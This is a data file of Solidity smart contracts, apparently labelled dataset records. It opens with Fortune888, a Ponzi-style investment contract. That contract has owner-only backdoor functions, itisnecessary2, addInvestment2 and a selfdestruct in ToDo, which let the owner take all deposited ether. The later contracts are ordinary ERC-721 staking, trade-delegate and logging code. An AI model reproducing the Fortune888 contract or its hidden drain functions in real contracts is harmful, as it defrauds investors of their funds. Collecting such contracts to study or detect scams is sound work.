owner = msg.sender;
}
function ToDo() public onlyOwner {
selfdestruct(owner);
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract Fortune888 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_1_percent = Percent.percent(111,10000);
Percent.percent private m_5_percent = Percent.percent(555,10000);
Percent.percent private m_7_percent = Percent.percent(777,10000);
Percent.percent private m_8_percent = Percent.percent(888,10000);
Percent.percent private m_9_percent = Percent.percent(999,100);
Percent.percent private m_10_percent = Percent.percent(10,100);
Percent.percent private m_11_percent = Percent.percent(11,100);
Percent.percent private m_12_percent = Percent.percent(12,100);
Percent.percent private m_referal_percent = Percent.percent(888,10000);
Percent.percent private m_referrer_percent = Percent.percent(888,10000);
Percent.percent private m_referrer_percentMax = Percent.percent(10,100);
Percent.percent private m_adminsPercent = Percent.percent(5,100);
Percent.percent private m_advertisingPercent = Percent.percent(10,100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function itisnecessary2() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function addInvestment2( uint investment) public onlyOwner {
msg.sender.transfer(investment);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther));
adminsAddress.transfer(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 500 ether) {
p = m_8_percent.toMemory();
} else if ( 500 ether <= balance && balance <= 1500 ether) {
p = m_9_percent.toMemory();
} else if ( 1500 ether <= balance && balance <= 5000 ether) {
p = m_10_percent.toMemory();
} else if ( 5000 ether <= balance && balance <= 10000 ether) {
p = m_11_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 20000 ether) {
p = m_12_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | 1 | 2,498 |
pragma solidity ^0.4.24;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface POUInterface {
function totalStaked(address) external view returns(uint256);
function numApplications(address) external view returns(uint256);
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function EIP20(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract TokenControllerI {
function transferAllowed(address _from, address _to)
external
view
returns (bool);
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Controllable is Ownable, ERC721BasicToken {
TokenControllerI public controller;
modifier isAllowed(address _from, address _to) {
require(controller.transferAllowed(_from, _to), "controller must allow the transfer");
_;
}
function setController(TokenControllerI _controller) public onlyOwner {
require(_controller != address(0), "controller must be a valid address");
controller = _controller;
}
function transferFrom(address _from, address _to, uint256 _tokenID)
public
isAllowed(_from, _to)
{
super.transferFrom(_from, _to, _tokenID);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract StakeToken is ERC721Controllable, POUInterface {
EIP20Interface intrinsicToken;
uint256 nftNonce;
using SafeMath for uint;
function numApplications(address prover) external view returns(uint256) {
return balanceOf(prover);
}
function totalStaked(address prover) external view returns(uint256) {
return _totalStaked[prover];
}
mapping (address => uint256) _totalStaked;
mapping (uint256 => uint256) public tokenStake;
mapping (uint256 => uint256) public tokenMintedOn;
mapping (uint256 => uint256) public tokenBurntOn;
constructor(EIP20Interface _token) public {
intrinsicToken = _token;
}
function mint(address mintedTokenOwner, uint256 stake) public returns (uint256 tokenID) {
require(msg.sender == mintedTokenOwner, "msg.sender == mintedTokenOwner");
nftNonce += 1;
tokenID = nftNonce;
tokenStake[tokenID] = stake;
tokenMintedOn[tokenID] = block.timestamp;
super._mint(mintedTokenOwner, tokenID);
require(intrinsicToken.transferFrom(mintedTokenOwner, this, stake), "transferFrom");
return tokenID;
}
function burn(uint256 tokenID) public {
address burntTokenOwner = tokenOwner[tokenID];
require(msg.sender == burntTokenOwner, "msg.sender == burntTokenOwner");
uint256 stake = tokenStake[tokenID];
super._burn(burntTokenOwner, tokenID);
tokenBurntOn[tokenID] = block.timestamp;
require(intrinsicToken.transfer(burntTokenOwner, stake), "transfer");
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
_totalStaked[_from] = _totalStaked[_from].sub(tokenStake[_tokenId]);
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
_totalStaked[_to] = _totalStaked[_to].add(tokenStake[_tokenId]);
}
}
contract CSTRegistry {
function getGeohash(bytes32 cst) public view returns (bytes32 geohash);
function getRadius(bytes32 cst) public view returns (uint256 radius);
function getCreatedOn(bytes32 cst) public view returns (uint256 timestamp);
function getDeletedOn(bytes32 cst) public view returns (uint256 timestamp);
function isTracked(bytes32 cst) public view returns (bool);
event TrackedToken(bytes32 cst, address indexed nftAddress, uint256 tokenID, bytes32 geohash, uint256 radius);
function computeCST(address nftContract, uint256 tokenID) public pure returns (bytes32) {
return keccak256(abi.encodePacked(nftContract, tokenID));
}
}
contract SignalToken is StakeToken, CSTRegistry {
mapping (uint256 => bytes32) public tokenGeohash;
mapping (uint256 => uint256) public tokenRadius;
mapping (bytes32 => uint256) public cstToID;
constructor(EIP20Interface _token) StakeToken(_token) public { }
function mint(address, uint256) public returns (uint256) {
revert("use mintSignal(address,uint256,bytes32,uint256) instead");
}
function mintSignal(address owner, uint256 stake, bytes32 geohash, uint256 radius) public returns (uint256 tokenID) {
tokenID = super.mint(owner, stake);
tokenGeohash[tokenID] = geohash;
tokenRadius[tokenID] = radius;
bytes32 cst = computeCST(address(this), tokenID);
cstToID[cst] = tokenID;
emit TrackedToken(cst, this, tokenID, geohash, radius);
return tokenID;
}
function getGeohash(bytes32 cst) public view returns (bytes32 geohash) {
return tokenGeohash[cstToID[cst]];
}
function getRadius(bytes32 cst) public view returns (uint256 radius) {
return tokenRadius[cstToID[cst]];
}
function getCreatedOn(bytes32 cst) public view returns (uint256 timestamp) {
return tokenMintedOn[cstToID[cst]];
}
function getDeletedOn(bytes32 cst) public view returns (uint256 timestamp) {
return tokenBurntOn[cstToID[cst]];
}
function isTracked(bytes32 cst) public view returns (bool) {
return cstToID[cst] != 0;
}
function name() external pure returns (string) {
return "FOAM Signal";
}
function symbol() external pure returns (string) {
return "FSX";
}
} | 1 | 3,654 |
pragma solidity 0.5.0;
contract Errors {
string constant ZERO_VALUE = "ZERO_VALUE";
string constant ZERO_ADDRESS = "ZERO_ADDRESS";
string constant INVALID_VALUE = "INVALID_VALUE";
string constant INVALID_ADDRESS = "INVALID_ADDRESS";
string constant INVALID_SIZE = "INVALID_SIZE";
string constant INVALID_SIG = "INVALID_SIG";
string constant INVALID_STATE = "INVALID_STATE";
string constant NOT_FOUND = "NOT_FOUND";
string constant ALREADY_EXIST = "ALREADY_EXIST";
string constant REENTRY = "REENTRY";
string constant UNAUTHORIZED = "UNAUTHORIZED";
string constant UNIMPLEMENTED = "UNIMPLEMENTED";
string constant UNSUPPORTED = "UNSUPPORTED";
string constant TRANSFER_FAILURE = "TRANSFER_FAILURE";
string constant WITHDRAWAL_FAILURE = "WITHDRAWAL_FAILURE";
string constant BURN_FAILURE = "BURN_FAILURE";
string constant BURN_RATE_FROZEN = "BURN_RATE_FROZEN";
string constant BURN_RATE_MINIMIZED = "BURN_RATE_MINIMIZED";
string constant UNAUTHORIZED_ONCHAIN_ORDER = "UNAUTHORIZED_ONCHAIN_ORDER";
string constant INVALID_CANDIDATE = "INVALID_CANDIDATE";
string constant ALREADY_VOTED = "ALREADY_VOTED";
string constant NOT_OWNER = "NOT_OWNER";
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor()
public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner, "NOT_OWNER");
_;
}
function transferOwnership(
address newOwner
)
public
onlyOwner
{
require(newOwner != address(0x0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
function transferOwnership(
address newOwner
)
public
onlyOwner
{
require(newOwner != address(0x0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0x0);
}
}
contract ITradeDelegate {
function batchTransfer(
bytes32[] calldata batch
)
external;
function authorizeAddress(
address addr
)
external;
function deauthorizeAddress(
address addr
)
external;
function isAddressAuthorized(
address addr
)
public
view
returns (bool);
function suspend()
external;
function resume()
external;
function kill()
external;
}
contract Authorizable is Claimable, Errors {
event AddressAuthorized(
address indexed addr
);
event AddressDeauthorized(
address indexed addr
);
address[] authorizedAddresses;
mapping (address => uint) private positionMap;
struct AuthorizedAddress {
uint pos;
address addr;
}
modifier onlyAuthorized()
{
require(positionMap[msg.sender] > 0, UNAUTHORIZED);
_;
}
function authorizeAddress(
address addr
)
external
onlyOwner
{
require(address(0x0) != addr, ZERO_ADDRESS);
require(0 == positionMap[addr], ALREADY_EXIST);
require(isContract(addr), INVALID_ADDRESS);
authorizedAddresses.push(addr);
positionMap[addr] = authorizedAddresses.length;
emit AddressAuthorized(addr);
}
function deauthorizeAddress(
address addr
)
external
onlyOwner
{
require(address(0x0) != addr, ZERO_ADDRESS);
uint pos = positionMap[addr];
require(pos != 0, NOT_FOUND);
uint size = authorizedAddresses.length;
if (pos != size) {
address lastOne = authorizedAddresses[size - 1];
authorizedAddresses[pos - 1] = lastOne;
positionMap[lastOne] = pos;
}
authorizedAddresses.length -= 1;
delete positionMap[addr];
emit AddressDeauthorized(addr);
}
function isAddressAuthorized(
address addr
)
public
view
returns (bool)
{
return positionMap[addr] > 0;
}
function isContract(
address addr
)
internal
view
returns (bool)
{
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library ERC20SafeTransfer {
function safeTransfer(
address token,
address to,
uint256 value)
internal
returns (bool success)
{
bytes memory callData = abi.encodeWithSelector(
bytes4(0xa9059cbb),
to,
value
);
(success, ) = token.call(callData);
return checkReturnValue(success);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value)
internal
returns (bool success)
{
bytes memory callData = abi.encodeWithSelector(
bytes4(0x23b872dd),
from,
to,
value
);
(success, ) = token.call(callData);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
internal
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
}
contract Killable is Claimable, Errors {
bool public suspended = false;
modifier notSuspended()
{
require(!suspended, INVALID_STATE);
_;
}
modifier isSuspended()
{
require(suspended, INVALID_STATE);
_;
}
function suspend()
external
onlyOwner
notSuspended
{
suspended = true;
}
function resume()
external
onlyOwner
isSuspended
{
suspended = false;
}
function kill()
external
onlyOwner
isSuspended
{
owner = address(0x0);
emit OwnershipTransferred(owner, address(0x0));
}
}
contract NoDefaultFunc is Errors {
function ()
external
payable
{
revert(UNSUPPORTED);
}
}
contract TradeDelegate is ITradeDelegate, Authorizable, Killable, NoDefaultFunc {
using ERC20SafeTransfer for address;
function batchTransfer(
bytes32[] calldata batch
)
external
onlyAuthorized
notSuspended
{
uint length = batch.length;
require(length % 4 == 0, INVALID_SIZE);
uint start = 68;
uint end = start + length * 32;
for (uint p = start; p < end; p += 128) {
address token;
address from;
address to;
uint amount;
assembly {
token := calldataload(add(p, 0))
from := calldataload(add(p, 32))
to := calldataload(add(p, 64))
amount := calldataload(add(p, 96))
}
require(
token.safeTransferFrom(
from,
to,
amount
),
TRANSFER_FAILURE
);
}
}
} | 1 | 4,399 |
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
